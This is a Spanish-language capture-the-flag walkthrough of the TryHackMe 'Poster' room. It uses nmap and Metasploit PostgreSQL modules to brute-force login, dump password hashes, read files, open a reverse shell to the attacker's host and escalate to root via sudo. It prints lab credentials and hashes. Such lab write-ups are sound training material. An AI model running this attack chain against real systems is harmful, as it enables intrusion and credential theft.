Entrada

TryHackMe - Póster

El administrador del sistema configuró un RDBMS de forma segura

TryHackMe - Póster

Introducción

Un RDBMS, basado en el modelo relacional EF Codd, permite una gestión eficiente de los datos al organizarlos en tablas interconectadas. A diferencia de los archivos planos, los RDBMS utilizan SQL para las operaciones CRUD, lo que garantiza una mayor eficiencia, escalabilidad y recuperación de datos.

Tryhackme Room Link

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.155.131
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 71:ed:48:af:29:9e:30:c1:b6:1d:ff:b0:24:cc:6d:cb (RSA)
|   256 eb:3a:a3:4e:6f:10:00:ab:ef:fc:c5:2b:0e:db:40:57 (ECDSA)
|_  256 3e:41:42:35:38:05:d3:92:eb:49:39:c6:e3:ee:78:de (ED25519)
80/tcp   open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Poster CMS
5432/tcp open  postgresql PostgreSQL DB 9.5.8 - 9.5.10 or 9.5.17 - 9.5.23
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-07-29T00:54:25
|_Not valid after:  2030-07-27T00:54:25
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puertos abiertos: 22/tcp 80/tcp 5432/tcp

¿Qué RDBMS está instalado en el servidor?

Podemos verlo en nmap

1
postgresql

¿En qué puerto se ejecuta el RDBMS?

Podemos verlo en nmap

1
5432

¿Cuál es la ruta completa de los módulos (empezando por auxiliar)?

Iniciemos el metasploit

1
2
msfconsole
msf6 > search postgresql

Path

Respuesta:

1
auxiliary/scanner/postgres/postgres_login

¿Cuáles son las credenciales que encontraste?

1
2
3
use auxiliary/scanner/postgres/postgres_login
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_login) > exploit

Path

Respuesta:

1
postgres:password

¿Cuál es la ruta completa del módulo que le permite ejecutar comandos con las credenciales de usuario adecuadas (comenzando con auxiliar)?

1
search postgresql

Path2

Respuesta:

1
auxiliary/admin/postgres/postgres_sql

Según los resultados del punto n.° 6, ¿cuál es la versión de rdbms instalada en el servidor?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
use auxiliary/admin/postgres/postgres_sql
msf6 auxiliary(admin/postgres/postgres_sql) > set RHOSTS 10.10.155.131
msf6 auxiliary(admin/postgres/postgres_sql) > set PASSWORD password
msf6 auxiliary(admin/postgres/postgres_sql) > exploit
[*] Running module against 10.10.155.131
Query Text: 'select version()'
==============================

    version
    -------
    PostgreSQL 9.5.21 on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 5.4.0-6ubuntu1~16.04.12) 5.4.0 20160609
    , 64-bit

[*] Auxiliary module execution completed

Respuesta:

1
9.5.21

¿Cuál es la ruta completa del módulo que permite volcar los hashes del usuario (comenzando con el auxiliar)?

1
search postgres

Path3

Respuesta:

1
auxiliary/scanner/postgres/postgres_hashdump

¿Cuántos hashes de usuario vuelca el módulo?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
use auxiliary/scanner/postgres/postgres_hashdump
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set RHOSTS 10.10.155.131
msf6 auxiliary(scanner/postgres/postgres_hashdump) > set PASSWORD password
msf6 auxiliary(scanner/postgres/postgres_hashdump) > exploit
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username   Hash
 --------   ----
 darkstart  md58842b99375db43e9fdf238753623a27d
 poster     md578fb805c7412ae597b399844a54cce0a
 postgres   md532e12f215ba27cb750c9e093ce4b5127
 sistemas   md5f7dbc0d5a06653e74da6b1af9290ee2b
 ti         md57af9ac4c593e9e4f275576e13f935579
 tryhackme  md503aab1165001c8f8ccae31a8824efddc

Respuesta:

1
6

¿Cuál es la ruta completa del módulo (que comienza con auxiliar) que permite a un usuario autenticado ver los archivos de su elección en el servidor?

Path4

Respuesta:

1
auxiliary/admin/postgres/postgres_readfile

¿Cuál es la ruta completa del módulo que permite la ejecución de comandos arbitrarios con las credenciales de usuario adecuadas (comenzando con el exploit)?

Respuesta:

1
exploit/multi/postgres/postgres_copy_from_program_cmd_exec

Comprometer la máquina y localizar el archivo user.txt

Usemos el módulo proporcionado: primero, iniciemos el receptor netcat y luego procedamos con el exploit.

1
2
3
4
5
6
7
8
9
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set RHOSTS 10.10.155.131
RHOSTS => 10.10.155.131
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set password password
password => password
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LPORT 1337
LPORT => 1337
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > set LHOST 10.14.99.72
LHOST => 10.14.99.72
msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

Exploit

Ahora podemos leer el archivo credentials.txt ubicado en la carpeta /home/dark

1
2
cat credentials.txt
dark:qwerty1234#!hackme

Ahora iniciamos sesión como dark a través de ssh

1
2
ssh dark@10.10.155.131
qwerty1234#!hackme

Después de un poco de investigación podemos encontrar las credenciales de Alison en el archivo config.php

1
alison:p4ssw0rdS3cur3!#

Entonces podemos iniciar sesión como Alison y obtener el archivo user.txt

Useflag

Escalar privilegios y obtener root.txt

Parece que podemos ejecutar sudo

1
2
3
4
5
6
7
8
9
10
alison@ubuntu:~$ sudo -l
[sudo] password for alison: 
Matching Defaults entries for alison on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User alison may run the following commands on ubuntu:
    (ALL : ALL) ALL
alison@ubuntu:~$ sudo bash
root@ubuntu:~# 

Rootflag

Esta entrada está licenciada bajo CC BY 4.0 por el autor.